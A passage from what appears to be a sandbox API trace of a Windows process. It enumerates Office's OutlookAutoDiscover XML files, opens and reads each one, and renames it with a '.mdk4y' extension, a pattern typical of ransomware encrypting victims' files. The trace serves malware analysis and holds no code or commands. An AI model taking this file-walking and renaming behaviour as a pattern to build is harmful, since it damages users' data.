lpPerformanceCount=0x37dee4*=1830716200000) returned 1 [0231.932] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x32a, lpOverlapped=0x0) returned 1 [0231.958] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830718800000) returned 1 [0231.958] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830718800000) returned 1 [0231.958] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.UK.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.uk.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.UK.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.uk.xml.mdk4y")) returned 1 [0231.961] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0231.961] AreFileApisANSI () returned 1 [0231.961] GetACP () returned 0x4e4 [0231.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.COM.AR.XML", cchWideChar=16, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.COM.AR.XMLL", lpUsedDefaultChar=0x37df4c) returned 16 [0231.961] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ar.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0231.962] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830719200000) returned 1 [0231.962] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x32c, lpOverlapped=0x0) returned 1 [0232.034] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830726400000) returned 1 [0232.034] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830726400000) returned 1 [0232.035] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ar.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AR.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ar.xml.mdk4y")) returned 1 [0232.043] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0232.043] AreFileApisANSI () returned 1 [0232.043] GetACP () returned 0x4e4 [0232.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.COM.AU.XML", cchWideChar=16, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.COM.AU.XML", lpUsedDefaultChar=0x37df4c) returned 16 [0232.043] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AU.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.au.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0232.046] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830727600000) returned 1 [0232.046] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x32c, lpOverlapped=0x0) returned 1 [0232.048] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830727800000) returned 1 [0232.048] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830727800000) returned 1 [0232.048] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AU.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.au.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AU.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.au.xml.mdk4y")) returned 1 [0232.051] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0232.051] AreFileApisANSI () returned 1 [0232.051] GetACP () returned 0x4e4 [0232.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.COM.BR.XML", cchWideChar=16, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.COM.BR.XML", lpUsedDefaultChar=0x37df4c) returned 16 [0232.051] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.BR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.br.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0232.053] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830728300000) returned 1 [0232.053] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x32c, lpOverlapped=0x0) returned 1 [0232.072] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830730200000) returned 1 [0232.072] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830730200000) returned 1 [0232.072] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.BR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.br.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.BR.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.br.xml.mdk4y")) returned 1 [0232.074] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0232.074] AreFileApisANSI () returned 1 [0232.074] GetACP () returned 0x4e4 [0232.074] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.COM.CN.XML", cchWideChar=16, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.COM.CN.XML", lpUsedDefaultChar=0x37df4c) returned 16 [0232.074] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.CN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.cn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0232.075] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830730500000) returned 1 [0232.075] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x32c, lpOverlapped=0x0) returned 1 [0232.147] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830737700000) returned 1 [0232.147] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830737700000) returned 1 [0232.148] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.CN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.cn.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.CN.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.cn.xml.mdk4y")) returned 1 [0232.150] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0232.150] AreFileApisANSI () returned 1 [0232.150] GetACP () returned 0x4e4 [0232.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.COM.HK.XML", cchWideChar=16, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.COM.HK.XML", lpUsedDefaultChar=0x37df4c) returned 16 [0232.151] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.HK.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.hk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0232.236] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830746600000) returned 1 [0232.236] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x32c, lpOverlapped=0x0) returned 1 [0232.249] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830747900000) returned 1 [0232.250] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830747900000) returned 1 [0232.250] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.HK.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.hk.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.HK.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.hk.xml.mdk4y")) returned 1 [0232.251] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0232.251] AreFileApisANSI () returned 1 [0232.251] GetACP () returned 0x4e4 [0232.252] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.COM.MX.XML", cchWideChar=16, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.COM.MX.XML", lpUsedDefaultChar=0x37df4c) returned 16 [0232.252] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MX.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.mx.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0232.253] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830748300000) returned 1 [0232.253] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x326, lpOverlapped=0x0) returned 1 [0232.256] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830748600000) returned 1 [0232.256] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830748600000) returned 1 [0232.257] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MX.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.mx.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MX.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.mx.xml.mdk4y")) returned 1 [0232.258] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0232.258] AreFileApisANSI () returned 1 [0232.258] GetACP () returned 0x4e4 [0232.258] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.COM.MY.XML", cchWideChar=16, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.COM.MY.XML", lpUsedDefaultChar=0x37df4c) returned 16 [0232.258] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MY.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.my.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0232.259] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830748900000) returned 1 [0232.259] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x32c, lpOverlapped=0x0) returned 1 [0232.262] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830749200000) returned 1 [0232.262] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830749200000) returned 1 [0232.262] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MY.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.my.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MY.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.my.xml.mdk4y")) returned 1 [0232.263] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0232.264] AreFileApisANSI () returned 1 [0232.264] GetACP () returned 0x4e4 [0232.264] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.COM.PH.XML", cchWideChar=16, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.COM.PH.XML", lpUsedDefaultChar=0x37df4c) returned 16 [0232.264] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.PH.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ph.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0232.265] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830749500000) returned 1 [0232.265] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x32c, lpOverlapped=0x0) returned 1 [0232.272] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830750100000) returned 1 [0232.272] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830750200000) returned 1 [0232.272] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.PH.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ph.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.PH.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ph.xml.mdk4y")) returned 1 [0232.274] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0232.274] AreFileApisANSI () returned 1 [0232.274] GetACP () returned 0x4e4 [0232.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.COM.SG.XML", cchWideChar=16, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.COM.SG.XML", lpUsedDefaultChar=0x37df4c) returned 16 [0232.274] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.SG.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.sg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0232.275] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830750500000) returned 1 [0232.275] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x32c, lpOverlapped=0x0) returned 1 [0232.276] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830750600000) returned 1 [0232.276] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830750600000) returned 1 [0232.277] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.SG.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.sg.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.SG.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.sg.xml.mdk4y")) returned 1 [0232.278] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0232.278] AreFileApisANSI () returned 1 [0232.278] GetACP () returned 0x4e4 [0232.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.COM.TW.XML", cchWideChar=16, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.COM.TW.XML", lpUsedDefaultChar=0x37df4c) returned 16 [0232.278] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.TW.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.tw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0232.279] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830750900000) returned 1 [0232.279] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x32c, lpOverlapped=0x0) returned 1 [0232.287] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830751700000) returned 1 [0232.287] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830751700000) returned 1 [0232.287] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.TW.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.tw.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.TW.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.tw.xml.mdk4y")) returned 1 [0232.289] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0232.289] AreFileApisANSI () returned 1 [0232.289] GetACP () returned 0x4e4 [0232.289] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.COM.VN.XML", cchWideChar=16, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.COM.VN.XML", lpUsedDefaultChar=0x37df4c) returned 16 [0232.289] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.VN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.vn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0232.290] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830752000000) returned 1 [0232.290] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x32c, lpOverlapped=0x0) returned 1 [0232.348] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830757800000) returned 1 [0232.349] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830757900000) returned 1 [0232.349] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.VN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.vn.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.VN.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.vn.xml.mdk4y")) returned 1 [0232.351] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0232.351] AreFileApisANSI () returned 1 [0232.351] GetACP () returned 0x4e4 [0232.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.COM.XML", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.COM.XMLXML", lpUsedDefaultChar=0x37df4c) returned 13 [0232.351] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0232.354] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830758400000) returned 1 [0232.354] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x326, lpOverlapped=0x0) returned 1 [0232.355] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830758500000) returned 1 [0232.355] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830758500000) returned 1 [0232.355] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.xml.mdk4y")) returned 1 [0232.359] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0232.359] AreFileApisANSI () returned 1 [0232.359] GetACP () returned 0x4e4 [0232.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.DE.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.DE.XMLL", lpUsedDefaultChar=0x37df4c) returned 12 [0232.359] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.de.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0232.360] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830759000000) returned 1 [0232.361] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x324, lpOverlapped=0x0) returned 1 [0232.362] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830759200000) returned 1 [0232.362] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830759200000) returned 1 [0232.362] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.de.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.de.xml.mdk4y")) returned 1 [0232.365] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0232.365] AreFileApisANSI () returned 1 [0232.365] GetACP () returned 0x4e4 [0232.365] 